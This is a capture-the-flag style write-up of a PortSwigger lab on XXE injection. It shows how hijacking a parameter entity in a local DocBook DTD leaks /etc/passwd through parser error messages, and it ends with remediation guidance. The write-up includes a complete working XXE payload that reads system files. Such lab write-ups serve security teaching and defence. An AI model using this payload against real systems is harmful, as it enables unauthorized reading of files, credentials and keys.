Exploiting XXE to Retrieve Data by Repurposing a Local DTD

Table of Contents
| Platform | PortSwigger Web Security Academy |
| Topic | XML external entity (XXE) injection |
| Lab | Exploiting XXE to retrieve data by repurposing a local DTD |
| Difficulty | Practitioner |
| Goal | Read /etc/passwd from a parser error message, no external DTD |
| Tools | Burp Suite (Proxy + Repeater) |
No exploit server, no problem#
The error-messages lab leaked a file through a parser error, but it needed an external DTD hosted on an exploit server, because XML won’t let you redefine a parameter entity inside another markup declaration in a request’s internal DTD. What if there’s no way to host that external DTD (outbound blocked, no exploit server)?
There’s a clever offline answer: reuse a DTD that already exists on the server. Many Linux boxes ship DTD files with common packages. If we load one and then redefine one of the parameter entities it uses internally, our version runs when the local DTD references it, and the restriction on redefining entities doesn’t apply the same way once we’re pulling in an external (here, local) DTD.
On this box we use GNOME’s DocBook DTD at
/usr/share/yelp/dtd/docbookx.dtd, which internally references a parameter entity
named ISOamso, exactly the kind of entity we can hijack.
Exploitation: hijack a local DTD entity#
Send the stock-check with this inline DTD:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
<!ENTITY % ISOamso '
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
'>
%local_dtd;
]>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>Reading it from the inside out:
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">points a parameter entity at the DTD file already on the server.<!ENTITY % ISOamso '...'>redefinesISOamso, a parameter entity the local DTD uses internally. Because we define it before loading the DTD, our version wins when the DTD references it.- Inside that redefinition is the same error-based chain as before:
%filereads/etc/passwd,%evalbuilds anerrorentity that points at a non-existent path with the file spliced in, and invoking them forces a “file not found” error that prints the contents. %local_dtd;loads the DocBook DTD, which triggers our hijackedISOamso, and the chain fires.
The nested escaping is what makes this readable to the parser at each layer:
% is %, &#x25; is % (a % that only appears one level
deeper), and ' is a single quote '.
Send it. The response is a 400 Bad Request, and the error leaks the file:

No exploit server was involved, we only reused a file that was already there.
Real-world impact#
This technique removes the last excuse that “XXE is fine here because we block outbound traffic”:
- Fully offline file-read — no callback, no hosted DTD; a DTD file on disk plus verbose errors is enough.
- Hard to spot — there’s nothing anomalous leaving the network, which makes it stealthier than an OOB callback.
- Reads any readable file —
/etc/passwdhere, but the same chain reaches config, credentials, and keys.
Finding a usable local DTD is the only extra step; common ones ship with GNOME, package managers, and many default installs. Only ever against systems you are authorized to test.
Remediation#
- Disable DTDs entirely in the parser. This is decisive: with document-type declarations rejected, neither the inline DTD nor the local one loads.
- Don’t return raw parser errors to users, so even a partial failure can’t leak file contents.
A concrete example, parser-specific (here Java’s DocumentBuilderFactory):
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely — local or external, inline or not
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);Key takeaways#
- When you can’t host an external DTD, reuse one already on the server and redefine a parameter entity it references to run your own chain.
- The payload nests the error-based
%file/%eval/%errortrick inside the redefined entity, with layered%/'escaping so each level parses. - Blocking outbound traffic does not fix XXE; disabling DTDs does.
Related posts#
- Exploiting Blind XXE to Retrieve Data via Error Messages — the same error trick, but with a hosted external DTD.
- Blind XXE: Exfiltrate Data via a Malicious External DTD — out-of-band exfiltration with an external DTD.
- Blind XXE via XML Parameter Entities — the parameter-entity basics this builds on.
- Full series: PortSwigger: XML External Entity Injection .